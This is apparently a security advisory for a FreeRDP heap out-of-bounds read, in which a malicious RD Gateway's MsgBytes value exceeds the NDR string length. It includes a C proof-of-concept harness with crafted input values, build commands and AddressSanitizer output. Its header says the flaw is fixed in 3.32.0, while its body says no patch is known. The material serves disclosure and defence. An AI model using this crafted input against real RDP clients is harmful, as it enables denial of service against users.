All vulnerabilities
GHSA-xf45-j844-588v

FreeRDP: RD Gateway consent and service message length mismatch causes a client heap out-of-bounds read

FreeRDP
CVSS
4.3Medium
ExploitationNo known exploitationNot in CISA KEV, which does not prove it is unexploitedCISA KEV
Exploit odds (EPSS)No scoreNo FIRST EPSS score in this snapshot yet
Fixed in3.32.0Fixed versionGitHub
Published29 Sep 2026Updated 29 Sep 2026GitHub

What fixes it

A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.

Description

Summary

A malicious or compromised RD Gateway can send a consent or service message whose outer MsgBytes value is much larger than the NDR string's ActualCount. When a user connects through that configured gateway, FreeRDP validates only the smaller NDR string, then passes the larger outer length to the normal client message callback. The default command-line callback uses that length while converting the message to UTF-8 and reads beyond the received stream allocation.

This is not a TLS interception claim. The attacker must control the configured RD Gateway, or separately defeat the client's certificate validation. The demonstrated impact is client availability. No path returning over-read heap bytes to the gateway was demonstrated, so remote information disclosure is not claimed.

FreeRDP 3.0.0 through 3.31.1 and current master are affected. No patched version is known.

Root cause

In libfreerdp/core/gateway/tsg.c, TsProxyReadPacketSTringMessage reads the gateway-controlled MsgBytes and limits it only to TSG_MESSAGING_MAX_MESSAGE_LENGTH. tsg_ndr_read_string then accepts any ActualCount no greater than MsgBytes / sizeof(WCHAR) and verifies that only ActualCount * sizeof(WCHAR) bytes remain in the stream.

tsg_ndr_read_consent_message later passes the unchanged MsgBytes with the returned pointer to PresentGatewayMessage. The default non-Windows implementation in client/common/client.c calls:

ConvertWCharNToUtf8Alloc(message, length / sizeof(WCHAR), nullptr);

Thus, an NDR string containing two UTF-16 elements can be passed to the callback with a claimed length of 65,536 bytes.

Security impact and prerequisites

  • The victim must initiate an RDP connection through the attacker's malicious or compromised RD Gateway.
  • The gateway controls MsgBytes, MaxCount, ActualCount, and the message bytes in the RPC response.
  • An unrelated network observer would also have to pass or bypass TLS certificate verification; that scenario was not assumed.
  • AddressSanitizer confirms an out-of-bounds read at the end of the received stream allocation.
  • A production crash depends on heap layout and the location of a terminating UTF-16 zero. No write primitive, code execution, or attacker-visible disclosure was demonstrated.

Proof of concept

The following harness includes the production gateway parser from a caller-supplied FreeRDP source root. It supplies MsgBytes=65536 but only two UTF-16 elements in the NDR string, then performs the exact conversion used by the default command-line callback.

poc/tsg_msg.c:

#include "libfreerdp/core/gateway/tsg.c"

int main(void)
{
	wLog* log = WLog_Get("freerdp.tsg.length-poc");
	const size_t cap = 4096;
	wStream* s = Stream_New(nullptr, cap);
	if (!s)
		return 2;

	Stream_Write_INT32(s, 1);
	Stream_Write_INT32(s, 0);
	Stream_Write_UINT32(s, 65536);
	Stream_Write_UINT32(s, 0x00020000);

	Stream_Write_UINT32(s, 65536);
	Stream_Write_UINT32(s, 0);
	Stream_Write_UINT32(s, 2);
	Stream_Write_UINT16(s, 0x4141);
	Stream_Write_UINT16(s, 0x4142);

	while (Stream_GetPosition(s) < cap)
		Stream_Write_UINT16(s, 0x4141);
	Stream_SealLength(s);
	Stream_ResetPosition(s);

	UINT32 index = 0;
	TSG_PACKET_STRING_MESSAGE msg = WINPR_C_ARRAY_INIT;
	fprintf(stderr,
	        "parsing TSG_PACKET_STRING_MESSAGE (MsgBytes=65536, ActualCount=2)\n");
	if (!TsProxyReadPacketSTringMessage(log, s, &index, &msg))
	{
		fprintf(stderr, "parser rejected input\n");
		Stream_Free(s, TRUE);
		return 3;
	}

	fprintf(stderr, "parser ok: msgBytes=%" PRIu32 "; invoking client conversion\n",
	        msg.msgBytes);
	char* utf8 =
	    ConvertWCharNToUtf8Alloc(msg.msgBuffer, msg.msgBytes / sizeof(WCHAR), nullptr);
	fprintf(stderr, "conversion returned %p (no ASan report)\n", (void*)utf8);
	free(utf8);
	Stream_Free(s, TRUE);
	return 0;
}

Build FreeRDP 3.31.1 with AddressSanitizer, then compile and run the included harness:

git clone https://github.com/FreeRDP/FreeRDP.git freerdp
git -C freerdp checkout 3.31.1

cmake -S freerdp -B freerdp-build \
  -DCMAKE_BUILD_TYPE=RelWithDebInfo \
  -DWITH_SANITIZE_ADDRESS=ON \
  -DWITH_SERVER=OFF \
  -DWITH_SAMPLE=OFF
cmake --build freerdp-build --parallel

cd poc
./build.sh ../../freerdp ../../freerdp-build
./run.sh ../../freerdp-build

Observed result:

parsing TSG_PACKET_STRING_MESSAGE (MsgBytes=65536, ActualCount=2)
parser ok: msgBytes=65536; invoking client conversion
ERROR: AddressSanitizer: heap-buffer-overflow
READ of size 2
    #0 _wcsnlen
    #1 ConvertWCharNToUtf8
    #2 ConvertWCharNToUtf8Alloc
... is located 0 bytes after 4096-byte region

A negative control with MsgBytes=4, MaxCount=2, and ActualCount=2 completed through the same parser and conversion without a sanitizer report.

Suggested remediation

Use the NDR string's validated ActualCount as the authoritative length passed to every PresentGatewayMessage callback, converting it to bytes with overflow-safe arithmetic. Alternatively, reject a message unless MsgBytes == ActualCount * sizeof(WCHAR). Add regression tests for mismatches in both directions, the zero and maximum lengths, both consent and service messages, and every supported callback implementation.

Text from GitHub Advisory Database

Affected versions 1

  • FreeRDP, c>= 3.0.0GitHub